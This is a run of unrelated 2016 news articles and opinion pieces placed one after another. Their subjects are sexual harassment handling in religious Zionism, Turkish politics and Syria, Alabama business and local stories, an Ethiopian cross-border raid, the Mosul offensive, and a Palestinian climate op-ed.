"This is a significant step forward, that religious Zionism leaders have come to understand the complexity and to realize how common it is," forum member Leah Wiesel told Al-Monitor. Wiesel, an attorney and lecturer at the religious Orot Israel Academic College of Education, added, "It comes as a shock to anyone exposed firsthand to the issue of sexual harassment. The religious community has experienced a change of perspective and come to acknowledge the issue and the need to address it, and to realize the intolerable injury involved. In the past, I couldnt believe that such things were actually happening, but now I believe it all.

Wiesel noted that while the issue of sexual harassment was once virtually ignored in the national-religious community, over time, the sector has come to realize that the problem exists and must be addressed. Shilat said, "A series of harassment affairs in educational institutions in the sector exposed in the early 2000s sparked a heated controversy in the religious community, culminating in a bitter rivalry. We are talking here about rabbinical figures rumored to have been involved in improper conduct  unacceptable in any society and all the more so in the religious community. It is such a sacred issue with us that people just could not believe it was happening."

Hannah Kehat, from the Orthodox feminist religious organization Kolech (Your Voice), which was involved in setting up the Takana Forum, described the acrimonious battles over two affairs in which well-known rabbis were implicated. Wall posters lambasting the women complaining of harassment were hung all over. Community rabbis upheld declarations depicting the complainants as mentally ill. Followers of the rabbis involved waged an aggressive public campaign against the complainants and their supporters, she recalled.

According to Kehat, eventually, after the Labor Court intervened in favor of the complainants and endorsed the dismissal of one of the educators concerned, rabbis in the community realized that the issue at stake was their stance on sexual harassment and recognized the need to create a system for dealing with the issue.

Several organizations joined forces and formed the Takana Forum. Shilat explained, It was important that all spiritual-ideological currents of religious Zionism be given a voice, so as to ensure the supreme authority of the panel hearing a case over the implicated individual.

Over the course of two years, the forum's members  leading rabbis, jurists and mental health practitioners, men and women alike  underwent training preparing them to deal with sexual harassment. We had to learn the language. The training sessions touched on all areas of treatment, said Shilat.

To date, panels assigned by the forum have handled dozens of cases consisting mostly, but not only, of complaints by women against men. I have also happened to deal with complaints against women, Wiesel recounted. The response is the same in both cases, as the way advantage is taken by an authority figure is invariably the same.

The forum takes care to maintain absolute discretion. Only the panel members who hear a complaint are privy to the case details. However, in the exceptional case of students recurring complaints against Rabbi Motti Elon  and following repeated violations of the agreements reached with him to refrain from any contact with students  the forum decided to publicize the affair and reveal his name in 2010. Ultimately, the exposure triggered a police investigation that ended in conviction, and Elon was handed a suspended sentence and community service.

The forum's handling of the case prompted harsh internal criticism and the withdrawal of the Kolech organization over claims that it had failed to deal with the matter in time. Given the key position of the rabbi concerned, we sought to secure broad agreement on dealing with the case, and it took us some time," law professor and co-founder Yedidia Stern told Al-Monitor. Reaching agreement had its price, but I believe that given the circumstances, now that he is removed from power and no longer in the public eye, we did achieve something after all.

Broad agreement is key to the forum's success. The community is deeply divided over an array of issues, Wiesel said, and here we have one issue that unites community leaders with completely different world views. This is nothing less than the fulfillment of a prophetic vision."

Despite appearances, the Takana Forum does not purport to fill the role of the state. Before the forum was set up, Stern had appealed to the attorney general seeking the approval of law enforcement agencies. "We make it clear to complainants that the way to go about it is to file a complaint with the police," Shilat said. She added that many of the complainants are concerned about possible police investigations and prefer appealing to the forum for help. Be that as it may, each complaint is first submitted to the attorney general, who is asked for his approval to handle it. Only when no criminal offense is involved or when the complainant is unlikely to lodge a complaint with the police does the forum get the green light to proceed.
April 22, 2016

People in Turkey classified as in need of assistance number more than 30 million, out of a population of 79 million, according to government figures. While the per capita income is decreasing, the government keeps pressing citizens to have at least three children, showing little regard for the financial strains of families. And more babies born into already struggling households means more people seeking state assistance to raise their offspring.

Child support assistance, paid on a monthly basis, amounts to 582 Turkish lira ($206) per family. In 2015, the families of 101,561 needy children received financial aid from the government, up from 19,735 in 2005. The staggering 400% increase reflects only the official statistics, with no figures available for those supported by nongovernmental organizations. Yet, highly influential charities close to the ruling Justice and Development Party (AKP) are known to reach out to tens of thousands of poor families across Turkey.

The financial assistance bond between the AKP and the impoverished masses begins with the birth of children and continues into adulthood. The wide range of in-kind and financial benefits paid on a regular basis includes educational assistance, scholarships, food and clothing aid, coal for home heating, old-age assistance and so on. Up to 13 million people receive some kind of assistance from the state, including local administrations.

Under the three-way coalition government before the AKP, social benefits paid out to citizens totaled about 1.4 billion Turkish lira in 2002. The AKP, which came to power in November that year, saw a politically profitable gap in this realm and took action, handing out aid to millions, young and old alike. By 2014, funds allocated to social benefits shot up to 30.4 billion Turkish lira, while the AKP significantly boosted its popular support.

According to Umut Oran, the vice president of the Socialist International and member of the main opposition Republican Peoples Party (CHP), the government  rather than working to boost the nations prosperity  has chosen to encourage people to have more children, which effectively makes poor families poorer and increases the number of those depending on state assistance.

Oran stressed that state assistance was portrayed as party assistance to the beneficiaries. Membership in the AKP has become a prerequisite for easy access to assistance, though this assistance comes from the taxes the whole nation pays. Through the indirect taxes  which amount to 60% [of total tax revenues]  the state gives out what it takes from the citizens pockets to the beneficiaries, he told Al-Monitor, adding that corruption had spilled over to this realm as well.

Oran said the CHP was not against the schemes of welfare assistance in principle, but stressed the benefits should be allocated fairly, without political considerations. Pointing to millions of people living below the poverty line, he said, Social welfare assistance should be increased. It makes up 1.38% of the gross domestic product in Turkey, while the European Union average is 2.5%. The people must know that state assistance [for the needy] exists in all countries, and that it is assistance by the Turkish state and not the AKP. Hunting for votes via social benefits is unacceptable.

Painting a grim picture of worsening poverty levels, Oran, said, People whose monthly income is less than a third of the minimum wage [1,300 Turkish lira] are exempt from paying insurance premiums for health services. The state takes over their arrears. The number of people who have applied for the state to pay their arrears has exceeded 15 million. Following income tests, the applications of more than 11 million have been approved. In other words, we have more than 11 million citizens whose monthly income is less than a third of the minimum wage.

And how does the social welfare assistance sway the beneficiaries? How does it play out at the ballot boxes?

Millions of beneficiaries of some type of regular monthly assistance  be it child support or food and clothing aid  sympathize with the ruling party and tend to perceive the potential change of government as a threat to the flow of assistance. The ruling party nourishes this perception.

As a result, people keen to sustain the vote-for-aid deal have continued to back the AKP. The opposition parties, meanwhile, have failed to convince the masses that they, too, are committed to supporting the poor and that social benefits are not a favor but a civic right, contributing to the AKPs grip to power for almost 14 years now.

In the parliamentary elections in November 2015, the AKP bagged some 23.7 million of the 48.5 million votes, while the second party, the CHP, received 12.1 million votes. Thanks to the social benefits it distributes, the ruling party gets a head start in millions of votes. The CHP vote lags behind even the total number of aid beneficiaries. In a race like this, unseating the AKP from power seems a truly uphill task.
April 21, 2016

Turkey is deeply concerned with signs that the United States and Russia may come to an understanding to close the Turkish-Syrian border, which would have profound strategic and geopolitical implications.

In his well-received report titled Russia in the Middle East: Moscows Objectives, Priorities, and Policy Drivers, Carnegie Moscow Center Director Dmitri Trenin says, For the foreseeable future, Moscow and Ankara are likely to be rivals or even adversaries. The Russian intervention in Syria, which was the actual cause of the rupture  the air incident was a pretext  has undercut Turkeys policies in its near neighborhood and materially damaged its interests in Syria. As long as [Turkish President] Recep Tayyip Erdogan remains in charge and Russia stays on its present course, the Russian-Turkish relationship will be an exercise in conflict management, at best.

As if to confirm this hypothesis, only two weeks after the report's publication, Russian President Vladimir Putin told US President Barack Obama that Turkeys border with Syria should be closed to help preserve the cease-fire. That was on April 18.

The report has a section titled The United States: A Rival and a Potential Partner. Trenin, a well-informed analyst on Russias policies, writes, Contrary to widespread US impressions, the Russians do not see President Barack Obamas hesitancy to use force in Syria as a weakness to be exploited, but rather as prudence of someone who realizes the limits of American power in the region.  The Kremlin also appreciated the Obama administrations constructive approach to relations with Iran, and, despite the Ukraine crisis, continued to cooperate with Washington to reach the nuclear agreement with Tehran in 2015.

As much as Syria is the battlefield of international rivalry reflected by proxy wars, it has become a stage for cooperation with Russia.

As Turkey has the longest frontier with Syria  911 kilometers (566 miles)  it naturally would be affected more than any other country in the region, whether the relationship between the United States and Russia is confrontational or cooperative.

Any level of US-Russian cooperation over Syria is likely to diminish Turkeys role, restrict Ankaras ambitious regional objectives and quash any belligerent tendencies toward removing the Damascus regime and enhancing the Syrian opposition supported by the Turkey-Saudi-Qatari axis.

Thus, when the Kremlins press desk released a statement that Obama and Putin had spoken on the phone about the situation in Ukraine and Syria, and Putin highlighted to Obama the need to close Syrias border with Turkey, from which a flow of fighters and arms to the extremists continues, it did create a chill in Ankara.

Turkish Prime Minister Ahmet Davutoglu was quick to respond. It is only Turkey that decides on its borders, he said. Although what he said is technically true, the international system does not tend to notice what he says, because his survival as Turkeys prime minister is increasingly at stake.

But that's not why Davutoglu's reaction lacked the weight it should have. The real reason was, essentially, the deep conviction held by Turkeys Western allies  above all the United States itself  that the route from Turkey to the Islamic State (IS) remains relatively functional.

That is why the United States is tacitly giving the go-ahead to the Kurdish People's Protection Units, operating under the banner of Syrian Democratic Forces, to capture Manbij, which is halfway between the Turkish border and the IS stronghold of Raqqa.

A month ago, at an international conference in Sulaimaniyah, in Iraqi Kurdistan, Democratic Union Party leader Salih Muslim told Al-Monitor that if Americans really mean to do away with IS and recapture Raqqa, Manbij has to be captured first because it is the junction IS uses most to receive assistance coming from Turkish territories.

Obamas special representative for the anti-IS coalition, Brett McGurk, was in Sulaimaniyah for the same occasion, and there is no doubt that he heard an even more detailed version of that assessment from Muslim.

The only thing that may comfort the Turkish side following the Russian statement is that the White Houses version of the Obama-Putin conversation is different than the Kremlins. The two appeared to have very different takes on the conversation, according to information published by the White House.

Obama urged Putin to halt the increase in violence in Ukraine by pro-Russian separatists, while Putin insisted that the United States try to ensure that Ukraine follow the cease-fire more closely.

Yet, that difference doesn't suggest that Obama categorically rejected Putins argument. It's no secret that the US administration does not see Ankaras anti-IS position as sufficient.

Moreover, it seems clear that Obama has prioritized global goals over regional ones  for example, global ones over those involving the Middle East  therefore, he seems to be happy having Russia sharing the burden in Syria. His stance on Syria, as a matter of fact, tends to see Moscow more as a partner to push for a cease-fire or cessation of hostilities.

A Washington Post editorial says, The Syrian cease-fire has achieved diplomatic zombie status: It is dead but lives on in the otherworldly rhetoric of its promoters, headed by the Obama administration. In a tone critical of Obama it goes on to say, The United States lacks leverage over the regime of [Syrian President] Bashar al-Assad and its Russian and Iranian allies.

Its most pertinent reference to the Obama-Putin conversation was as follows: The White House reported Monday [April 18] that Mr. Obama had spoken to Mr. Putin by telephone about the unraveling cease-fire. A statement suggested he covered all the bases, including the importance of pressing the Syrian regime to halt its offensive attacks against the opposition, the urgency of humanitarian access and the need for progress toward a political solution. But there was no indication that Mr. Putin was given any incentive to respond cooperatively, other than an appeal to his goodwill. If thats the case, the cease-fire will remain a zombie.

Such critical remarks don't encourage an incrementally developing cooperative relationship between Obama and Putin. Obamas critics and Turkeys leaders need to wait for the next US president to challenge Putin and Russia in the way they want to see.

The problem is, there is nothing tangible now to suggest that the post-Obama Washington will be much different than the present one in terms of relations with Moscow or in regard to Syria.
April 22, 2016

Turkish President Recep Tayyip Erdogan has long insisted that the Kurdish Democratic Union Party (PYD) and the People's Protection Units (YPG) are terror organizations that are more dangerous than the Islamic State (IS). If one day he sees YPG flags in the corridors of the European Parliament, Erdogan will swear never to return to Brussels. Remember 2009, when he silenced Israeli President Shimon Peres with his now infamous upbraiding, announcing, I do not think I will be coming back to Davos after this.

Northern Syrias PYD and YPG are steadily expanding their legitimacy in Europe. The YPG flags on the doors and walls of the European Parliament are but a small indicator that Ankaras protests have made no impact.

The political and military actors of Syrian Kurdistan, known as Rojava, have succeeded in opening representative offices in various corners of Europe despite stern warnings from Ankara. A turning point came for the Kurds on Feb. 8, 2015, when French President Francois Hollande hosted a meeting with Asya Abdullah, the co-chair of the PYD, and Nesrin Abdullah, the commander of YPGs female branch, the Womens Protection Units (YPJ).

The Syrian Kurds, who are treated warmly both by the Russians and the West, opened their Moscow office not in the name of the PYD, but that of the Rojava administration on Feb. 10. They are diplomatically active in Brussels, which houses NATO, the European Commission and European Parliament. They have already opened offices in Prague and Stockholm. Copenhagen is next.

Erdogan had reacted sharply to the opening of the Moscow office, saying, I am calling on countries supporting the PYD: If you have a conflict with them, these people will come and attack you with bombs like [IS]. From here I am warning Russia. They think that because they allowed the opening of the PYD office, they will be safe from them. They are wrong. There will be operations in Russia.

On Feb. 16, in Ankara, Erdogan warned the West: I want to call on our Western friends again. The PYD and YPG are terror organizations. History will not forgive those who enabled these terror organizations to get organized as such.

These warnings did not yield any results. On April 3, the YPG-YPJ opened their Prague office in the presence of Kobani Cantons foreign relations official Idris Nassan, Jazeera cantons foreign relations official Abdulkerim Omer, YPJ commander Nesrin Abdullah and representatives of the Czech government.

The Prague office is managed by Iman Dervis of the YPJ and Servan Hasan of the PYD. Speaking to Al-Monitor, Hasan said that the opening of the office implies political recognition.

Asked about the choice of Prague, he said, We opened this office not only for the Czech Republic, but for all of Europe. The reason why we opened in Prague first is because it is the first city Nesrin Abdullah visited. She met with officials of the Defense Ministry. Czechs, who lived under the sovereignty of different powers, represent a European society that comprehends the situation of the Kurds. They are interested in our efforts to build an administration that respects democratic and human rights. Moreover, our struggle against the Islamic State is greatly appreciated. They are all aware that IS is threatening not only the Middle East but also Europe. That is why there is much interest in the YPG and YPJ. Europeans support our struggle against radical Islamists. The Czech Republic has close relations with the Arab world. They follow developments in the region closely.

Asked about military or financial assistance from the Czech Republic, Hasan said, We have contacts with several ministries, but we havent received any weapons or money. As Kurds, we are fighting terrorists. In the field we are working with the United States. Our true function here is to establish diplomatic links and form strategic friendships.

Kurds always advocate a model to their European contacts that will allow diverse ethnic and religious groups to coexist in the Middle East. Of note, there is serious European interest in the Kurdish canton system that allots women a political representation quota of 40%.

The next office was opened in Stockholm on April 18 in the name of the Rojava administration. The opening was attended by Nesrin Abdullah, Omer, the Rojava administrations European representative Sinem Muhammed, the PYDs representative in Sweden Siar Ali and Bassam Ishak, president of the Syriac National Council of Syria. A Swedish minister and several parliamentarians were also present.

In Stockholm, Nesrin Abdullah met with Swedish Defense Minister Peter Hultqvist.

Zuhat Kobani, the PYD representative in Europe, told Al-Monitor the steps the group has taken there: The office in Sweden represents Rojava, not the PYD. We will also open an office in Copenhagen. Politically, we have the support of the Danish government. We will open the office as soon as we find the right location. We are also working to open offices in Berlin and Paris. We have found a location in Paris.

"We are not officially recognized in Europe, but we have de facto recognition. Europeans allow us to open offices because they feel they must display political solidarity with our struggle in Rojava. We keep explaining our struggle with IS, our aspirations for democratic autonomy and democratic federalism. Europeans are slowly understanding our issues. We are not seeking assistance from European governments. Our goal is to ensure our legitimacy. These offices will develop relations with European institutions and provide information services.

Denmark, which in the past has infuriated Turkey by allowing pro-Kurdistan Workers Party (PKK) TV channels to broadcast there, appears ready to anger Turkey once more.

It is very difficult for me to distinguish between the PKK and YPG, said Danish Foreign Minister Kristian Jensen, who had received much praise from the Turkish public  unlike his predecessor Martin Lidegaard, who had declared, The PYD is not a terrorist organization. It is different from the PKK.

Following the IS attacks in Europe, Rojavas standing has changed. Last month, the Danish government announced it was ready to join the international coalition with F-16 jets and 400 soldiers.

There are now rumors that Denmark may even provide a military contribution to the YPG-led Syrian Democratic Forces, like the Americans.

To prevent the PYD and the YPG from gaining legitimacy in the West, Ankara is arguing that these two organizations are extensions of the PKK and will resort to terror when under pressure. It also claims they work for the Syrian regime and is carrying out ethnic cleansing against Arabs and Turkmens. But this futile approach at times backfires. While the YPG is praised for fighting against IS, Erdogans frequent outbursts accusing the PYD and YPG of terrorism give the impression that Turkey supports IS.

Erdogan might not have a problem explaining to his national constituency why countries like Denmark, which he had denounced as terror supporters, are allowing the PYD and YPG to operate in their territories. He is likely to describe it as provocation by anti-Turkish forces, and nobody in Turkey will think of asking where the Turkish government had gone wrong.
Mercedes-Benz and Polaris Industries were among Alabama's top companies planning new facilities or expanding their operations in 2015.

Gov. Robert Bentley and the Alabama Department of Commerce released today the state's 2015 New & Expanding Industry Report, which shows there were a total of 19,262 jobs and $7.1 billion in investment announced last year. The report does not include data on incentives tied to projects.

Limestone County led the state in job creation with 2,618 new positions thanks to Polaris' $140 million off-road vehicle factory. The plant, which is annexed in Huntsville, will employ at least 1,700 people at full production.

Tuscaloosa County ranked No. 1 for new capital investment with projects valued at more than $1.5 billion. Mercedes-Benz' $1.3 billion, 300-job expansion at its auto assembly plant in Vance was the county's largest project of the year.

"My chief priority continues to be the focus of creating jobs and new opportunities for citizens across the state," Bentley said in a statement. "This new report shows once again that Alabama is well-positioned to achieve those goals because of a skilled workforce, proven job-training programs and a business climate that promotes growth."

The other top counties for project-related capital investment in 2015 were:

Jefferson

Jackson

Mobile

Limestone

Behind Limestone, the top counties for jobs tied to 2015 projects were:

Jefferson

Montgomery

Madison

Tuscaloosa

The report said Alabama attracted $3.5 billion last year in foreign direct investment. Germany was the state's foreign domestic leader with more than $1.6 billion in investment and and 951 jobs.

Here are a few other stats from the study:

74

$2.1 billion -

8,023

384

$5 billion

11,239

You can read the full report here.

The 2014 New & Expanding Industry Report included 392 projects for a total of 18,137 jobs and investment of $3.37 billion. Madison County was the top job-producing county with 3,418 positions, while Lee County had the most capital investment at $482 million.

Greg Canfield, secretary of the Alabama Department of Commerce, said this year's industry analysis reveals a growing trend with the state's aerospace, engineering and research and development sectors.

"Alabama's economic development team is coming off a landmark year and will continue to pursue the kind of projects that can have a profound impact on the future of our state," he said in a statement.
Given how colorful both the man and his music were, it's odd to watch black-and-white footage of Prince performing onstage.

But there's no denying the brilliance in this 67-minutes clip from the "Controversy" tour.

The video is of a Jan. 30, 1982 concert at Passaic, N.J.'s Capitol Theatre.

The trek promoting "Controversy," Prince's 1981-released fourth studio album, would later bring the rising star to Alabama, with a Feb. 20 Birmingham-Jefferson Civic Center show and Feb. 27 stop at Montgomery's Garrett Coliseum.

Prince would release "1999," his first top-10 LP in October of that year.

Opening acts on the "Controversy" tour included R&B ensemble The Time. Musicians in Prince's own band back then included guitarist Dez Dickerson, bassist Mark Brown, keyboardists Matt Fink and Lisa Coleman and drummer Bobby Z.

In addition to "Controversy" highlights like the synth-funk title track and boudoir ballad "Do Me, Baby," the setlist featured falsetto-glam tunes from Prince's 1979 self-titled sophomore LP and 1980's "Dirty Mind," like "I Wanna Be Your Lover" and "Uptown." The show opened with the gospel-tinged a cappella intro "Second Coming." Fans of Prince's guitar playing will be wowed by his extended, metallic wailing during a performance of "Why You Wanna Treat Me So Bad?".

The 1982 Passaic footage has appeared on bootlegs but never been officially released. At one point in the early-80s Prince was planning a live album/documentary film to be called "The Second Coming," but that project was said to involve footage from a 1982 concert in Bloomington, Minn.

The 3,200-seat Capitol Theatre was smaller than many venues Prince played on the "Controversy" tour.

Yet his performance that winter night in 1982, as you can see, remained huge.

Prince died yesterday, April 21, 2016, at the age of 57.
The Rogers triplets, Charlotte, Liza and Peirson, have always been together - literally since before birth. But soon, when they graduate from the University of Alabama on May 6, they'll go their separate ways for the first time ever.

When they were born, their parents, Max and Mandy Rogers, already had two little girls, Mary-Lacey and Simms. "They wanted a boy, but they got three girls!" Charlotte said, laughing.

With five daughters, their dad, an obstetrician/gynecologist in Mobile, "is surrounded by estrogen all the time," said Liza. "He had to get a male dog to make up for it."

Growing up as triplets with two older sisters, "We always had friends," said Peirson. "We never got bored."

The triplets grew up in Mobile, attended UMS-Wright Preparatory School and then picked Alabama for college, which was actually Charlotte's first choice. The other girls had been looking at smaller schools, but "we couldn't really imagine separating," said Liza.

But their post-college choices will take them separate ways. Charlotte, the fraternal triplet whose red hair makes her stand out among her dark-haired sisters, who are identical twins - majored in communicative disorders with a minor in general business and will go to graduate school to study speech therapy.

"I was in speech therapy at a young age," she said - she couldn't pronounce the letter "r," which can be a problem when your name is Charlotte Rogers. Her sisters, she said, didn't want her to get it fixed because it was so cute, but she asked about it in fifth grade and immediately saw a speech therapist.

In her junior year of high school, she babysat for Courtenay Rocconi, a speech-language pathologist, and began shadowing her. "I loved every second of it," she said.

Working with children during her clinicals in college sealed the deal for her. "I know what the kids feel like on the other side of the table," she said. "I have a big connection because of it."

Meanwhile, Liza and Peirson have majored in apparel design, with a minor in general business and entrepreneurship. "We want to have our own business one day," said Peirson. "New York or Los Angeles is where you need to go for fashion."

Encouraged by their older sisters, the triplets spent a wonderful semester studying in Florence, Italy, during their sophomore year. "It was kind of a dream of a semester," said Liza. "We all three learned so much." They shared a tiny apartment in the palazzo where the subject of Leonardo Da Vinci's "Mona Lisa" grew up, with stone steps and a spiral staircase up to Charlotte's loft.

The girls also did a summer internship with Dee Keller, a Baton Rouge shoe designer. "She had just gotten samples for her collection for the following year," Liza said. "We got to help her develop her fall collection for 11/2 years away."

Another great hands-on experience was Liza's participation in Birmingham Fashion Week as an emerging designer. "It was the first collection I ever designed and made from start to finish and had on the runway." The opportunity "was one of the most significant learning processes for us," she said. "It made our senior collections at school go much more smoothly."

Charlotte said she has "more of a science mind" than Liza and Peirson. "I respect what they draw because I could never create something like that," she said. They depend on her to give them constructive criticism of their creations, they said, by making comments like, "I don't know if that would sell."

"They kind of have the same mindset," Charlotte said. "Mine is out there."

"I'd say we're the 'out there,'" Liza said, laughing.

While they were at Alabama, the triplets lived apart their freshman year, then shared a house with other girls during their sophomore and junior years. In their senior year, they've been living in the beautifully renovated Kappa Delta house with different roommates. When they pledged KD, they said, they joined three sets of triplets - including sisters who shared the same birthdate.

After years of sharing a wardrobe, shoes and makeup, the Rogers sisters have been steeling themselves for what's to come after graduation. Dividing things up, Liza said, "will probably be a fight." But in general, they get along very well and will miss each other's company.

Charlotte is looking forward to graduate school at Samford University in Birmingham. Eventually, she hopes to have her own private practice - "but who knows what will happen between now and then?"

Liza and Peirson, who hope to launch their own clothing line in one of the country's fashion capitols, plan to move to New York City soon after graduation, but they hope to work at different places.

"I've kind of prepared myself," said Charlotte. "There comes a time in life where you have to branch out. Now it's approaching."

She plans to visit her sisters as often as possible, she said.

"And she'll treat us when she comes!" Liza joked.

"Our parents say, 'At least one of you will be supporting herself,'" Peirson added.

All kidding aside, their parents have always supported the sisters' dreams. Though Liza and Peirson originally thought they'd major in pre-med, their father encouraged then to pursue their passion for fashion design.

"Both of our parents would make anything possible," Charlotte said.
Capital Murder Suspects.jpg

Vershawn Edwards and Horayshio Fletcher

(Birmingham Police)

Two teens are charged with capital murder in the shooting death of a man found slain in the driveway of a southwest Birmingham home on Wednesday.

Birmingham police this evening identified the suspects Vershawn Edwards, 16, and Horayshio Fletcher, 17. Both are from Birmingham. They are charged in the killing of 46-year-old James Bennefield, and are being held without bond in the Jefferson County Jail.

Both teens have been previously arrested, and one of them is awaiting trial for violent crimes.

Bennefield's body was discovered Wednesday morning in the driveway of a home in the 1500 block of Lomb Avenue. The homeowner, Cleopatra Hogan, said she heard arguing and gunfire outside of house sometime between 10:30 p.m. and 11 p.m. on Tuesday.

"I couldn't hear the conversation clearly. It was just a loud talking or a loud argument,'' she said. "I turned my lights on so the people could know that I was in the house and I didn't want anybody to try to break in on me."

She said she heard several shots fired, but didn't call the police because it didn't sound like it was close to her home. When she went to put some things in her car Wednesday, about 11:40 a.m., she found Bennefield on his side in her driveway with a gunshot wound to the chest area.

"I kind of believe he was trying to get some help after everything happened. He just fell in my driveway and he just died,'' she said.

Edwards and Fletcher were taken into custody late Wednesday afternoon after a short chase in southwest Birmingham. The pair was in Bennefield's 2003 Chevrolet Avalanche, which had been stolen after the shooting.

Birmingham police Lt. Sean Edwards said West Precinct Task Force officers spotted the suspects and the stolen truck on Powderly Avenue S.W. They tried to stop the truck on 24th Street S.W. but they refused. After a brief chase, the suspects crashed the pickup truck into a tree on Dorothy Drive in Cooper Green Park and were then taken into custody.

Edwards said they are not releasing a motive, or any additional information at this time.

The younger of the two- Edwards- is already awaiting trial for attempted murder and assault. Fletcher has a previous burglary arrest.

"This homicide shows the multiple issues we face with violent crime,'' said Birmingham police Chief A.C. Roper. "Here we have two young men, one out on bond for another crime, committing a senseless act of violence."

"Our thoughts and prayers are with the victim's family and yet we cannot forget about the potential of these young men that has now been wasted",he said.

Bennefield's Beagle, Chance, was with him in the truck and remained missing overnight. The Greater Birmingham Humane Society on Thursday issued a lookout bulletin for the dog. Birmingham police Detective Spencer Justice, who works in the department's Family Services Division, and other detectives received information that Chance was spotted in northern Birmingham and hit the streets in search of him. Along with animal control officers, they were able to corner and catch Chance at the public housing community in Collegeville.

The detectives took Chance to the North Precinct, where they reunited him with Bennefield's widow, Benita Bennefield. "The guys that killed my husband, all they wanted was his truck,'' she said. "They just dumped my dog."

"I couldn't believe it was him. I just started thanking God,'' she said. "We always said that if something happened to either one of us, the other would always take care of Chance."
Survivor tells Al Jazeera about morning on which 200 people were killed and 100 children abducted.

Gambela, Ethiopia  Three-year-old Nyakuar sleeps, but restlessly, at a hospital in South Sudan.

She is from Ethiopia and last week she witnessed things nobody her age, nobody at all, should have to.

Her village, and several others in the Gambela region of western Ethiopia, which straddles the border between those two countries, was attacked at dawn by heavily armed men who had crossed the porous border from South Sudan.

They were merciless, shooting indiscriminately and burning down peoples homes. When they were finished, 208 people were dead and 2,000 head of cattle had been stolen.

But, what has shocked this country, is that they also kidnapped more than 100 children.

READ MORE: Ethiopian army in South Sudan to track children down

Nyakuar was shot in the arm and another bullet grazed the side of her head.

Her brother, also shot in the head, is dead.

A few beds away lies her mother, Nyaruach Wang, asleep and still very weak. Doctors told us they had to sedate her because she was in too much pain. She was shot four times and two of her other children were among those spirited over the border.

In the mens ward, Gathuak Reaths leg is in a cast because his bone was shattered by a bullet. He has since heard that seven of his relatives were killed in their village, Nip Nip.

I was asleep when they came, he said. They were wearing military uniforms. They started shooting and burning our houses. I took my wife and child and just ran. But then I was shot and I had to hide in the bush.

About 20 survivors from the attack are in this hospital and there are many others at the main hospital in Gambela.

Ethiopian hope

The raid has set off a wave of revulsion across Ethiopian social media and sparked fears, already held by many, that a civil war raging in South Sudan could spill over the near invisible border.

Those attacked in Ethiopia were from the Nuer tribe, which is also the second largest tribe in South Sudan.

Ethiopian officials, and witnesses spoken to by Al Jazeera, have blamed the attack on members of the rival Murle community. Gathuak Reath and others told us they recognised their tribal markings.

The Ethiopian army has now moved in and the border area has become a militarised zone. The government says that its troops  with the permission of South Sudans government  have crossed the frontier and some officials say they are closing in on the area where they believe the children are being held.

READ MORE: Ethiopia declares two days of national mourning

Its a sensitive mission that requires a solid strategy to ensure that the children are unharmed.

Cross-border attacks are not uncommon in these areas and children have been kidnapped before. But never like this, never on this scale. People here are being told to stay in their villages. But many are now afraid.

As Ethiopians mourn, they have one hope.

That the children come back safe.

Follow Catherine Soi on Twitter: @C_SOI
Operations began last month to retake Nineveh province, including Mosul, from the Islamic State of Iraq and the Levant (ISIL, also known as ISIS) group.

ISIL took control of Mosul, Iraqs second-largest city, in June 2014. The town of Makhmour, around 75km southeast of Mosul, is among the frontlines of the operation to reclaim it. Here, the Iraqi army and Kurdish Peshmerga forces have been holding the line as battle preparations continue.

Since the operation began, an increasing number of displaced people have been streaming into Iraqs Kurdish region, seeking refuge. The influx is expected to continue in the months ahead.
Those illegally denied control over their natural resources must be heard in the global climate conversation.

Dr Riyad H. Mansour is the ambassador for the Permanent Observer Mission of the State of Palestine to the United Nations

Leaders have converged at the United Nations in New York to sign the worlds action plan to curb global warming and avert climate changes worst consequences.

The signing of the Paris Agreement is a testament to the worlds ability to act collectively to address an existential problem. It is also a chance to recognise nations and peoples with unique struggles against extreme climate conditions.

The State of Palestine is one among many countries around the world facing such challenges. Now as a State Party to the UN Framework Convention on Climate Change (UNFCCC), the UN treaty body in charge of climate action, the State of Palestine has a unique role.





It can, in particular, share expertise about conservation in harsh environments and serve as the voice for those without full control over their natural resources in the context of international climate action.

Palestine has long been a dedicated partner in the international negotiations on climate change. Since the Rio Conference in 1992, I have represented Palestine at six international climate meetings. At each of these meetings, I highlighted the specific vulnerabilities faced by occupied peoples, who must, for example, cope with limited control over, and constant deprivation of, their natural resources.

While people living under occupation face distinct challenges, I also know that everyone, everywhere shares similar concerns. We all face rising temperatures, water scarcity, drought and rising sea levels. That is why learning from each other and sharing our determination is universally beneficial  and absolutely vital to saving our planet for future generations, an urgent objective set out by the UN in its Agenda 2030 for Sustainable Development.

Palestinians are experts in survival on minimal resources, having developed their resilience and refined practices for sustaining life in a cruel environment. This is especially true in agriculture, where Palestinians have for decades applied innovative farming techniques with proven results.

UPFRONT: To avoid climate change, we need system change

Today, Palestinian farmers use recycled waste water, water harvesting and drip irrigation to overcome Israels usurpation of our water and to conserve our limited resources, as well as maintaining local seedbanks to preserve agrobiodiversity. Communities cut off from the Israeli-controlled energy grid look to alternative energy sources, such as solar panels.

Becoming a State Party to the UNFCCC affords us the opportunity to build upon these techniques through climate finance, technology and capacity-building, and to better share our practices with others in the Mediterranean and beyond.

Yet, pursuit of such opportunities is impaired by the fact that Palestine continues to be illegally denied control over its natural resources by Israel, the occupying power, particularly as a result of its ever-expanding settlement enterprise in the West Bank, its blockade of Gaza, and its attacks on infrastructure, which have devastated the quality of our natural resources and our access to them.

National action plan

This underscores the fact that truly addressing the challenges we face as a people in all realms, whether political, social, economic, humanitarian, environmental or otherwise, requires first and foremost ending the Israeli occupation that began in 1967 and securing the freedom and rights that the Palestinian people have been for too long unjustly denied.

As we continue to exert all efforts to that end, we are simultaneously seeking to responsibly carry out our duties to improve the lives of our people in accordance with international law and with a view to their resilience and sustainable development as a part of the global community.

Thus, in 2010, the Palestinian Authority developed a Climate Change Adaptation Strategy that set out a national action plan to address some of our biggest threats.

Currently, we are preparing to submit to the UN an INDC, our national contribution to reducing greenhouse gas emissions, confirming our commitment to shouldering our responsibilities to achieve a carbon-neutral future, in spite of the fact that the Israeli occupation prevents us from fully executing our climate policy.

It is in part because of these circumstances that the State of Palestine decided to become a State Party to the UNFCCC.

WATCH  Climate change: Fact or fiction?

For the first time the State of Palestine will sit as an equal among fellow countries in the global fight against climate change, which stands among the top priorities on the international agenda.

With this strengthened position we can ensure that people without complete control over their natural resources have an equal platform to voice their needs and be part of the global conversation and effort.

The Paris Agreement was a tremendous diplomatic achievement. We are proud that the State of Palestine is a partner in pursuing ambitious climate action. Yet, to bring about the substantive change we all seek, we each must do more at home and abroad.

